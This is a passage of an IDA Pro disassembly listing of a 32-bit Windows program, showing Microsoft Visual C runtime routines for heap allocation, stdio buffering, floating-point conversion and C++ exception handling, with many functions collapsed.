mov edi, [ebp+arg_0]
and [ebp+var_4], 0
mov eax, ebx
sub eax, [edi+10h]
sar eax, 0Ch
cmp ecx, [ebp+arg_C]
lea edi, [edi+eax*8+18h]
jbe short loc_41EFD4
mov eax, [ebp+arg_C]
sub ecx, eax
mov [edx], al
add [edi], ecx
mov dword ptr [edi+4], 0F1h
jmp short loc_41F034
; ---------------------------------------------------------------------------
loc_41EFD4: ; CODE XREF: sub_41EF9A+26j
jnb short loc_41F03B
mov eax, [ebp+arg_C]
lea esi, [edx+eax]
lea eax, [ebx+0F8h]
cmp eax, esi
jb short loc_41F03B
lea eax, [ecx+edx]
loc_41EFE9: ; CODE XREF: sub_41EF9A+59j
cmp eax, esi
jnb short loc_41EFF7
cmp byte ptr [eax], 0
jnz short loc_41EFF5
inc eax
jmp short loc_41EFE9
; ---------------------------------------------------------------------------
loc_41EFF5: ; CODE XREF: sub_41EF9A+56j
cmp eax, esi
loc_41EFF7: ; CODE XREF: sub_41EF9A+51j
jnz short loc_41F03B
mov al, byte ptr [ebp+arg_C]
mov [edx], al
mov eax, [ebx]
cmp edx, eax
ja short loc_41F02F
cmp esi, eax
jbe short loc_41F02F
lea eax, [ebx+0F8h]
cmp esi, eax
jnb short loc_41F026
xor eax, eax
mov [ebx], esi
cmp [esi], al
jnz short loc_41F021
loc_41F01A: ; CODE XREF: sub_41EF9A+85j
inc eax
cmp byte ptr [esi+eax], 0
jz short loc_41F01A
loc_41F021: ; CODE XREF: sub_41EF9A+7Ej
mov [ebx+4], eax
jmp short loc_41F02F
; ---------------------------------------------------------------------------
loc_41F026: ; CODE XREF: sub_41EF9A+76j
and dword ptr [ebx+4], 0
lea eax, [ebx+8]
mov [ebx], eax
loc_41F02F: ; CODE XREF: sub_41EF9A+68j
; sub_41EF9A+6Cj ...
sub ecx, [ebp+arg_C]
add [edi], ecx
loc_41F034: ; CODE XREF: sub_41EF9A+38j
mov [ebp+var_4], 1
loc_41F03B: ; CODE XREF: sub_41EF9A:loc_41EFD4j
; sub_41EF9A+4Aj ...
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_41EF9A endp
; [000000D9 BYTES: COLLAPSED FUNCTION __filbuf. PRESS KEYPAD "+" TO EXPAND]
; [000001F6 BYTES: COLLAPSED FUNCTION __read. PRESS KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION __callnewh. PRESS KEYPAD "+" TO EXPAND]
; [00000170 BYTES: COLLAPSED FUNCTION __openfile. PRESS KEYPAD "+" TO EXPAND]
; [00000078 BYTES: COLLAPSED FUNCTION __getstream. PRESS KEYPAD "+" TO EXPAND]
; [00000075 BYTES: COLLAPSED FUNCTION __isctype. PRESS KEYPAD "+" TO EXPAND]
; [00000115 BYTES: COLLAPSED FUNCTION __flsbuf. PRESS KEYPAD "+" TO EXPAND]
; [00000721 BYTES: COLLAPSED FUNCTION __output. PRESS KEYPAD "+" TO EXPAND]
off_41FDC0 dd offset $NORMAL_STATE$1535 ; DATA XREF: __output+6Er
dd offset loc_41F714 ; jump table for switch statement
dd offset loc_41F72F
dd offset loc_41F77B
dd offset loc_41F7B2
dd offset loc_41F7BA
dd offset loc_41F7EF
dd offset loc_41F882
; [00000035 BYTES: COLLAPSED FUNCTION _write_char. PRESS KEYPAD "+" TO EXPAND]
; [00000031 BYTES: COLLAPSED FUNCTION _write_multi_char. PRESS KEYPAD "+" TO EXPAND]
; [00000038 BYTES: COLLAPSED FUNCTION _write_string. PRESS KEYPAD "+" TO EXPAND]
; [0000000D BYTES: COLLAPSED FUNCTION _get_int_arg. PRESS KEYPAD "+" TO EXPAND]
; [00000010 BYTES: COLLAPSED FUNCTION _get_int64_arg. PRESS KEYPAD "+" TO EXPAND]
; [0000000E BYTES: COLLAPSED FUNCTION _get_short_arg. PRESS KEYPAD "+" TO EXPAND]
; [00000199 BYTES: COLLAPSED FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND]
; [0000004A BYTES: COLLAPSED FUNCTION _getSystemCP. PRESS KEYPAD "+" TO EXPAND]
; [00000033 BYTES: COLLAPSED FUNCTION _CPtoLCID. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION _setSBCS. PRESS KEYPAD "+" TO EXPAND]
; [00000185 BYTES: COLLAPSED FUNCTION _setSBUpLow. PRESS KEYPAD "+" TO EXPAND]
; [0000001C BYTES: COLLAPSED FUNCTION ___initmbctable. PRESS KEYPAD "+" TO EXPAND]
; [0000008A BYTES: COLLAPSED FUNCTION __mbsnbcpy. PRESS KEYPAD "+" TO EXPAND]
; [000000CC BYTES: COLLAPSED FUNCTION _toupper. PRESS KEYPAD "+" TO EXPAND]
; [00000067 BYTES: COLLAPSED FUNCTION __dosmaperr. PRESS KEYPAD "+" TO EXPAND]
; [0000008D BYTES: COLLAPSED FUNCTION __stbuf. PRESS KEYPAD "+" TO EXPAND]
; [0000003D BYTES: COLLAPSED FUNCTION __ftbuf. PRESS KEYPAD "+" TO EXPAND]
; [00000A25 BYTES: COLLAPSED FUNCTION __input. PRESS KEYPAD "+" TO EXPAND]
; [00000037 BYTES: COLLAPSED FUNCTION __hextodec. PRESS KEYPAD "+" TO EXPAND]
; [0000001A BYTES: COLLAPSED FUNCTION _fgetc. PRESS KEYPAD "+" TO EXPAND]
; [00000017 BYTES: COLLAPSED FUNCTION __un_inc. PRESS KEYPAD "+" TO EXPAND]
; [00000024 BYTES: COLLAPSED FUNCTION __whiteout. PRESS KEYPAD "+" TO EXPAND]
; [00000053 BYTES: COLLAPSED FUNCTION __handle_qnan1. PRESS KEYPAD "+" TO EXPAND]
; [00000098 BYTES: COLLAPSED FUNCTION __except1. PRESS KEYPAD "+" TO EXPAND]
; [000002B3 BYTES: COLLAPSED FUNCTION __raise_exc. PRESS KEYPAD "+" TO EXPAND]
; [00000217 BYTES: COLLAPSED FUNCTION __handle_exc. PRESS KEYPAD "+" TO EXPAND]
; [00000088 BYTES: COLLAPSED FUNCTION __umatherr. PRESS KEYPAD "+" TO EXPAND]
; [00000026 BYTES: COLLAPSED FUNCTION __set_errno. PRESS KEYPAD "+" TO EXPAND]
; [00000025 BYTES: COLLAPSED FUNCTION __get_fname. PRESS KEYPAD "+" TO EXPAND]
; [0000002D BYTES: COLLAPSED FUNCTION __errcode. PRESS KEYPAD "+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION __frnd. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION __set_exp. PRESS KEYPAD "+" TO EXPAND]
; [0000005A BYTES: COLLAPSED FUNCTION __sptype. PRESS KEYPAD "+" TO EXPAND]
; [000000C1 BYTES: COLLAPSED FUNCTION __decomp. PRESS KEYPAD "+" TO EXPAND]
; [0000000E BYTES: COLLAPSED FUNCTION __statfp. PRESS KEYPAD "+" TO EXPAND]
; [0000000F BYTES: COLLAPSED FUNCTION __clrfp. PRESS KEYPAD "+" TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __ctrlfp. PRESS KEYPAD "+" TO EXPAND]
; [00000056 BYTES: COLLAPSED FUNCTION __set_statfp. PRESS KEYPAD "+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION __setdefaultprecision. PRESS KEYPAD "+" TO EXPAND]
; [0000003E BYTES: COLLAPSED FUNCTION __ms_p5_test_fdiv. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION __ms_p5_mp_test_fdiv. PRESS KEYPAD "+" TO EXPAND]
; [0000005A BYTES: COLLAPSED FUNCTION __forcdecpt. PRESS KEYPAD "+" TO EXPAND]
; [0000004E BYTES: COLLAPSED FUNCTION __cropzeros. PRESS KEYPAD "+" TO EXPAND]
; [00000018 BYTES: COLLAPSED FUNCTION __positive. PRESS KEYPAD "+" TO EXPAND]
; [0000003E BYTES: COLLAPSED FUNCTION __fassign. PRESS KEYPAD "+" TO EXPAND]
; [00000104 BYTES: COLLAPSED FUNCTION __cftoe. PRESS KEYPAD "+" TO EXPAND]
; [000000DE BYTES: COLLAPSED FUNCTION __cftof. PRESS KEYPAD "+" TO EXPAND]
; [0000009B BYTES: COLLAPSED FUNCTION __cftog. PRESS KEYPAD "+" TO EXPAND]
; [00000027 BYTES: COLLAPSED FUNCTION __cftoe_g. PRESS KEYPAD "+" TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __cftof_g. PRESS KEYPAD "+" TO EXPAND]
; [00000051 BYTES: COLLAPSED FUNCTION __cfltcvt. PRESS KEYPAD "+" TO EXPAND]
; [00000025 BYTES: COLLAPSED FUNCTION __shift. PRESS KEYPAD "+" TO EXPAND]
; [0000009B BYTES: COLLAPSED FUNCTION ___InternalCxxFrameHandler. PRESS KEYPAD "+" TO EXPAND]
; [000001A7 BYTES: COLLAPSED FUNCTION FindHandler(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,uchar,int,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND]
; [000000A8 BYTES: COLLAPSED FUNCTION FindHandlerForForeignException(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,int,int,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND]
; [0000005D BYTES: COLLAPSED FUNCTION TypeMatch(_s_HandlerType const *,_s_CatchableType const *,_s_ThrowInfo const *). PRESS KEYPAD "+" TO EXPAND]
; [0000009E BYTES: COLLAPSED FUNCTION ___FrameUnwindToState. PRESS KEYPAD "+" TO EXPAND]
; [00000016 BYTES: COLLAPSED FUNCTION unknown_libname_10. PRESS KEYPAD "+" TO EXPAND]
; [0000007B BYTES: COLLAPSED FUNCTION CatchIt(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,_s_HandlerType const *,_s_CatchableType const *,_s_TryBlockMapEntry const *,int,EHRegistrationNode *,uchar). PRESS KEYPAD "+" TO EXPAND]
; [0000009C BYTES: COLLAPSED FUNCTION CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong). PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_422228 proc near ; DATA XREF: .rdata:004278E0o
push dword ptr [ebp-14h] ; struct _EXCEPTION_POINTERS *
call ?ExFilterRethrow@@YAHPAU_EXCEPTION_POINTERS@@@Z ; ExFilterRethrow(_EXCEPTION_POINTERS *)
pop ecx
retn
sub_422228 endp
; =============== S U B R O U T I N E =======================================
sub_422232 proc near ; DATA XREF: .rdata:004278E4o
mov esp, [ebp-18h]
and dword ptr [ebp-2Ch], 0
push 0FFFFFFFFh
lea eax, [ebp-10h]
push eax
call __local_unwind2
pop ecx
pop ecx
xor eax, eax
jmp short loc_422219
sub_422232 endp
; =============== S U B R O U T I N E =======================================
sub_42224A proc near ; DATA XREF: .rdata:004278D8o
xor ebx, ebx
mov esi, [ebp+0Ch]
mov edi, [ebp+8]
sub_42224A endp ; sp-analysis failed
; [00000046 BYTES: COLLAPSED FUNCTION sub_422252. PRESS KEYPAD "+" TO EXPAND]
; [0000002A BYTES: COLLAPSED FUNCTION ExFilterRethrow(_EXCEPTION_POINTERS *). PRESS KEYPAD "+" TO EXPAND]
; [000001B8 BYTES: COLLAPSED FUNCTION BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *). PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_42255C
; [00000056 BYTES: COLLAPSED FUNCTION unknown_libname_11. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
xor eax, eax
cmp [ebp+0Ch], al
setnz al
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_42255C
; [00000023 BYTES: COLLAPSED FUNCTION AdjustPointer(void *,PMD const &). PRESS KEYPAD "+" TO EXPAND]
; [0000004C BYTES: COLLAPSED FUNCTION unknown_libname_12. PRESS KEYPAD "+" TO EXPAND]
; [00000056 BYTES: COLLAPSED FUNCTION sub_42255C. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4225B2 proc near ; CODE XREF: _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *)+23p
; _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *):loc_41CB62p ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427920
push offset unknown_libname_14 ; Microsoft VisualC 2-8/net runtime
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, off_43CFA4
test eax, eax
jz short loc_4225FA
mov [ebp+var_4], 1
call eax ; sub_42255C
jmp short loc_4225F6
; ---------------------------------------------------------------------------
loc_4225EF: ; DATA XREF: .rdata:00427930o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_4225F3: ; DATA XREF: .rdata:00427934o
mov esp, [ebp+var_18]
loc_4225F6: ; CODE XREF: sub_4225B2+3Bj
and [ebp+var_4], 0
loc_4225FA: ; CODE XREF: sub_4225B2+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_422603: ; DATA XREF: .rdata:00427928o
jmp sub_42255C
sub_4225B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422608 proc near ; CODE XREF: __onexit+7p __onexit+26p
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_4DCFE8
push esi
cmp eax, 3
jnz short loc_422631
mov esi, [ebp+arg_0]
push esi
call ___sbh_find_block
test eax, eax
pop ecx
jz short loc_42262E
mov eax, [esi-4]
sub eax, 9
jmp short loc_422666
; ---------------------------------------------------------------------------
loc_42262E: ; CODE XREF: sub_422608+1Cj
push esi
jmp short loc_422658
; ---------------------------------------------------------------------------
loc_422631: ; CODE XREF: sub_422608+Ej
cmp eax, 2
jnz short loc_422655
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
push [ebp+arg_0]
call sub_41EBD2
add esp, 0Ch
test eax, eax
jz short loc_422655
movzx eax, byte ptr [eax]
shl eax, 4
jmp short loc_422666
; ---------------------------------------------------------------------------
loc_422655: ; CODE XREF: sub_422608+2Cj
; sub_422608+43j
push [ebp+arg_0]
loc_422658: ; CODE XREF: sub_422608+27j
push 0
push dword_4DCFE4
call ds:dword_427058 ; RtlSizeHeap
loc_422666: ; CODE XREF: sub_422608+24j
; sub_422608+4Bj
pop esi
leave
retn
sub_422608 endp
; [000000C2 BYTES: COLLAPSED FUNCTION ___loctotime_t. PRESS KEYPAD "+" TO EXPAND]
; [0000009A BYTES: COLLAPSED FUNCTION __lseek. PRESS KEYPAD "+" TO EXPAND]
; [00000158 BYTES: COLLAPSED FUNCTION _ftell. PRESS KEYPAD "+" TO EXPAND]
; [000001AD BYTES: COLLAPSED FUNCTION __write. PRESS KEYPAD "+" TO EXPAND]
; [00000224 BYTES: COLLAPSED FUNCTION ___crtLCMapStringA. PRESS KEYPAD "+" TO EXPAND]
; [00000141 BYTES: COLLAPSED FUNCTION __XcptFilter. PRESS KEYPAD "+" TO EXPAND]
; [00000043 BYTES: COLLAPSED FUNCTION _xcptlookup. PRESS KEYPAD "+" TO EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION __wincmdln. PRESS KEYPAD "+" TO EXPAND]
; [000000B9 BYTES: COLLAPSED FUNCTION __setenvp. PRESS KEYPAD "+" TO EXPAND]
; [00000099 BYTES: COLLAPSED FUNCTION __setargv. PRESS KEYPAD "+" TO EXPAND]
; [000001B4 BYTES: COLLAPSED FUNCTION _parse_cmdline. PRESS KEYPAD "+" TO EXPAND]
; [00000132 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA. PRESS KEYPAD "+" TO EXPAND]
; [000001AB BYTES: COLLAPSED FUNCTION __ioinit. PRESS KEYPAD "+" TO EXPAND]
align 10h
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; [000000BD BYTES: COLLAPSED FUNCTION unknown_libname_14. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
unknown_libname_15: ; Microsoft VisualC 2-8/net runtime
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call __local_unwind2
add esp, 8
pop ebp
retn 4
; [00000039 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER. PRESS KEYPAD "+" TO EXPAND]
; [00000153 BYTES: COLLAPSED FUNCTION __NMSG_WRITE. PRESS KEYPAD "+" TO EXPAND]
; [00000095 BYTES: COLLAPSED FUNCTION __alloc_osfhnd. PRESS KEYPAD "+" TO EXPAND]
; [00000077 BYTES: COLLAPSED FUNCTION __set_osfhnd. PRESS KEYPAD "+" TO EXPAND]
; [0000007A BYTES: COLLAPSED FUNCTION __free_osfhnd. PRESS KEYPAD "+" TO EXPAND]
; [0000003D BYTES: COLLAPSED FUNCTION __get_osfhandle. PRESS KEYPAD "+" TO EXPAND]
; [00000057 BYTES: COLLAPSED FUNCTION __commit. PRESS KEYPAD "+" TO EXPAND]
; [000000A5 BYTES: COLLAPSED FUNCTION ___initstdio. PRESS KEYPAD "+" TO EXPAND]
; [00000014 BYTES: COLLAPSED FUNCTION ___endstdio. PRESS KEYPAD "+" TO EXPAND]
; [00000044 BYTES: COLLAPSED FUNCTION __getbuf. PRESS KEYPAD "+" TO EXPAND]
; [000002B9 BYTES: COLLAPSED FUNCTION __sopen. PRESS KEYPAD "+" TO EXPAND]
; [00000149 BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA. PRESS KEYPAD "+" TO EXPAND]
; [00000026 BYTES: COLLAPSED FUNCTION __isatty. PRESS KEYPAD "+" TO EXPAND]
; [00000068 BYTES: COLLAPSED FUNCTION _wctomb. PRESS KEYPAD "+" TO EXPAND]
; [000000C8 BYTES: COLLAPSED FUNCTION _mbtowc. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000001F BYTES: COLLAPSED FUNCTION __allshl. PRESS KEYPAD "+" TO EXPAND]
; [0000006E BYTES: COLLAPSED FUNCTION _ungetc. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_42401D proc near ; CODE XREF: __umatherr+52p
xor eax, eax
retn
sub_42401D endp
; [00000035 BYTES: COLLAPSED FUNCTION __control87. PRESS KEYPAD "+" TO EXPAND]
; [00000016 BYTES: COLLAPSED FUNCTION __controlfp. PRESS KEYPAD "+" TO EXPAND]
; [00000092 BYTES: COLLAPSED FUNCTION __abstract_cw. PRESS KEYPAD "+" TO EXPAND]
; [00000089 BYTES: COLLAPSED FUNCTION __hw_cw. PRESS KEYPAD "+" TO EXPAND]
; [00000049 BYTES: COLLAPSED FUNCTION __ZeroTail. PRESS KEYPAD "+" TO EXPAND]
; [00000056 BYTES: COLLAPSED FUNCTION __IncMan. PRESS KEYPAD "+" TO EXPAND]
; [0000008C BYTES: COLLAPSED FUNCTION __RoundMan. PRESS KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION __CopyMan. PRESS KEYPAD "+" TO EXPAND]
; [0000000C BYTES: COLLAPSED FUNCTION __FillZeroMan. PRESS KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION __IsZeroMan. PRESS KEYPAD "+" TO EXPAND]
; [0000008D BYTES: COLLAPSED FUNCTION __ShrMan. PRESS KEYPAD "+" TO EXPAND]
; [0000016C BYTES: COLLAPSED FUNCTION __ld12cvt. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_4244EC proc near ; CODE XREF: sub_424518+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43D358
push [esp+4+arg_4]
push [esp+8+arg_0]
call __ld12cvt
add esp, 0Ch
retn
sub_4244EC endp
; =============== S U B R O U T I N E =======================================
sub_424502 proc near ; CODE XREF: sub_424545+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43D370
push [esp+4+arg_4]
push [esp+8+arg_0]
call __ld12cvt
add esp, 0Ch
retn
sub_424502 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424518 proc near ; CODE XREF: __fassign+12p
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call ___strgtold12
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_4244EC
add esp, 24h
leave
retn
sub_424518 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424545 proc near ; CODE XREF: __fassign+2Dp
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call ___strgtold12
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_424502
add esp, 24h
leave
retn
sub_424545 endp
; [00000077 BYTES: COLLAPSED FUNCTION __fptostr. PRESS KEYPAD "+" TO EXPAND]
; [00000064 BYTES: COLLAPSED FUNCTION __fltout. PRESS KEYPAD "+" TO EXPAND]
; [000000B6 BYTES: COLLAPSED FUNCTION ___dtold. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
push 2
call __amsg_exit
pop ecx
retn
; [00000046 BYTES: COLLAPSED FUNCTION __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *). PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_424752 proc near ; DATA XREF: .data:00429028o
push offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)
call ds:dword_42701C ; SetUnhandledExceptionFilter
mov dword_4DBB80, eax
retn
sub_424752 endp
; =============== S U B R O U T I N E =======================================
sub_424763 proc near ; DATA XREF: .data:00429040o
push dword_4DBB80
call ds:dword_42701C ; SetUnhandledExceptionFilter
retn
sub_424763 endp
; =============== S U B R O U T I N E =======================================
sub_424770 proc near ; CODE XREF: FindHandler(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,uchar,int,EHRegistrationNode *)+6Bp
; BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call ds:dword_427018 ; IsBadReadPtr
test eax, eax
jz short loc_424788
xor esi, esi
loc_424788: ; CODE XREF: sub_424770+14j
mov eax, esi
pop esi
retn
sub_424770 endp
; =============== S U B R O U T I N E =======================================
sub_42478C proc near ; CODE XREF: BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+73p
; BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+BFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call ds:dword_4271C8 ; IsBadWritePtr
test eax, eax
jz short loc_4247A4
xor esi, esi
loc_4247A4: ; CODE XREF: sub_42478C+14j
mov eax, esi
pop esi
retn
sub_42478C endp
; [00000018 BYTES: COLLAPSED FUNCTION _ValidateExecute(int (*)(void)). PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000017 BYTES: COLLAPSED CHUNK OF FUNCTION sub_42255C. PRESS KEYPAD "+" TO EXPAND]
; [00000015 BYTES: COLLAPSED FUNCTION ___tzset. PRESS KEYPAD "+" TO EXPAND]
; [0000025E BYTES: COLLAPSED FUNCTION __tzset. PRESS KEYPAD "+" TO EXPAND]
; [000001AC BYTES: COLLAPSED FUNCTION __isindst. PRESS KEYPAD "+" TO EXPAND]
; [00000140 BYTES: COLLAPSED FUNCTION _cvtdate. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __ismbblead. PRESS KEYPAD "+" TO EXPAND]
; [00000031 BYTES: COLLAPSED FUNCTION _x_ismbbtype. PRESS KEYPAD "+" TO EXPAND]
; [00000089 BYTES: COLLAPSED FUNCTION ___crtMessageBoxA. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_424E01(size_t Size,int)
sub_424E01 proc near ; CODE XREF: ___initstdio+22p
; ___initstdio+3Bp
Size = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+Size]
imul esi, [ebp+arg_4]
cmp esi, 0FFFFFFE0h
push edi
mov [ebp+Size], esi
ja short loc_424E22
test esi, esi
jnz short loc_424E1C
push 1
pop esi
loc_424E1C: ; CODE XREF: sub_424E01+16j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_424E22: ; CODE XREF: sub_424E01+12j
; sub_424E01+94j
xor edi, edi
cmp esi, 0FFFFFFE0h
ja short loc_424E81
mov eax, dword_4DCFE8
cmp eax, 3
jnz short loc_424E4D
mov eax, [ebp+Size]
cmp eax, dword_4DCFE0
ja short loc_424E6C
push eax
call ___sbh_alloc_block
mov edi, eax
pop ecx
test edi, edi
jnz short loc_424E97
jmp short loc_424E6C
; ---------------------------------------------------------------------------
loc_424E4D: ; CODE XREF: sub_424E01+30j
cmp eax, 2
jnz short loc_424E6C
cmp esi, dword_43C9D4
ja short loc_424E6C
mov eax, esi
shr eax, 4
push eax
call sub_41EC6E
mov edi, eax
pop ecx
test edi, edi
jnz short loc_424EAB
loc_424E6C: ; CODE XREF: sub_424E01+3Bj
; sub_424E01+4Aj ...
push esi
push 8
push dword_4DCFE4
call ds:dword_427144 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jnz short loc_424EA5
loc_424E81: ; CODE XREF: sub_424E01+26j
cmp dword_4DB9DC, 0
jz short loc_424EA5
push esi
call __callnewh
test eax, eax
pop ecx
jz short loc_424EAE
jmp short loc_424E22
; ---------------------------------------------------------------------------
loc_424E97: ; CODE XREF: sub_424E01+48j
push [ebp+Size] ; Size
loc_424E9A: ; CODE XREF: sub_424E01+ABj
push 0 ; Val
push edi ; Dst
call _memset
add esp, 0Ch
loc_424EA5: ; CODE XREF: sub_424E01+7Ej
; sub_424E01+87j
mov eax, edi
loc_424EA7: ; CODE XREF: sub_424E01+AFj
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_424EAB: ; CODE XREF: sub_424E01+69j
push esi
jmp short loc_424E9A
; ---------------------------------------------------------------------------
loc_424EAE: ; CODE XREF: sub_424E01+92j
xor eax, eax
jmp short loc_424EA7
sub_424E01 endp
; [00000058 BYTES: COLLAPSED FUNCTION __fcloseall. PRESS KEYPAD "+" TO EXPAND]
; [00000146 BYTES: COLLAPSED FUNCTION __chsize. PRESS KEYPAD "+" TO EXPAND]
; [00000021 BYTES: COLLAPSED FUNCTION ___addl. PRESS KEYPAD "+" TO EXPAND]
; [0000005E BYTES: COLLAPSED FUNCTION ___add_12. PRESS KEYPAD "+" TO EXPAND]
; [0000002E BYTES: COLLAPSED FUNCTION ___shl_12. PRESS KEYPAD "+" TO EXPAND]
; [0000002D BYTES: COLLAPSED FUNCTION ___shr_12. PRESS KEYPAD "+" TO EXPAND]
; [000000C7 BYTES: COLLAPSED FUNCTION ___mtold12. PRESS KEYPAD "+" TO EXPAND]
; [000004A1 BYTES: COLLAPSED FUNCTION ___strgtold12. PRESS KEYPAD "+" TO EXPAND]
off_425692 dd offset loc_42525B ; DATA XREF: ___strgtold12+63r
dd offset loc_4252AA ; jump table for switch statement
dd offset loc_425301
dd offset loc_42532B
dd offset loc_425386
dd offset loc_4253FD
dd offset loc_425433
dd offset loc_42547D
dd offset loc_42545C
dd offset loc_4254E1
dd offset loc_4254CB
dd offset loc_425497
; [00000293 BYTES: COLLAPSED FUNCTION _$I10_OUTPUT. PRESS KEYPAD "+" TO EXPAND]
; [0000012D BYTES: COLLAPSED FUNCTION _raise. PRESS KEYPAD "+" TO EXPAND]
; [00000045 BYTES: COLLAPSED FUNCTION _siglookup. PRESS KEYPAD "+" TO EXPAND]
; [0000007D BYTES: COLLAPSED FUNCTION _getenv. PRESS KEYPAD "+" TO EXPAND]
; [00000076 BYTES: COLLAPSED FUNCTION __setmode. PRESS KEYPAD "+" TO EXPAND]
; [00000220 BYTES: COLLAPSED FUNCTION ___ld12mul. PRESS KEYPAD "+" TO EXPAND]
; [0000007C BYTES: COLLAPSED FUNCTION ___multtenpow12. PRESS KEYPAD "+" TO EXPAND]
; [0000003F BYTES: COLLAPSED FUNCTION __mbsnbicoll. PRESS KEYPAD "+" TO EXPAND]
; [0000006E BYTES: COLLAPSED FUNCTION ___wtomb_environ. PRESS KEYPAD "+" TO EXPAND]
; [0000027D BYTES: COLLAPSED FUNCTION ___crtCompareStringA. PRESS KEYPAD "+" TO EXPAND]
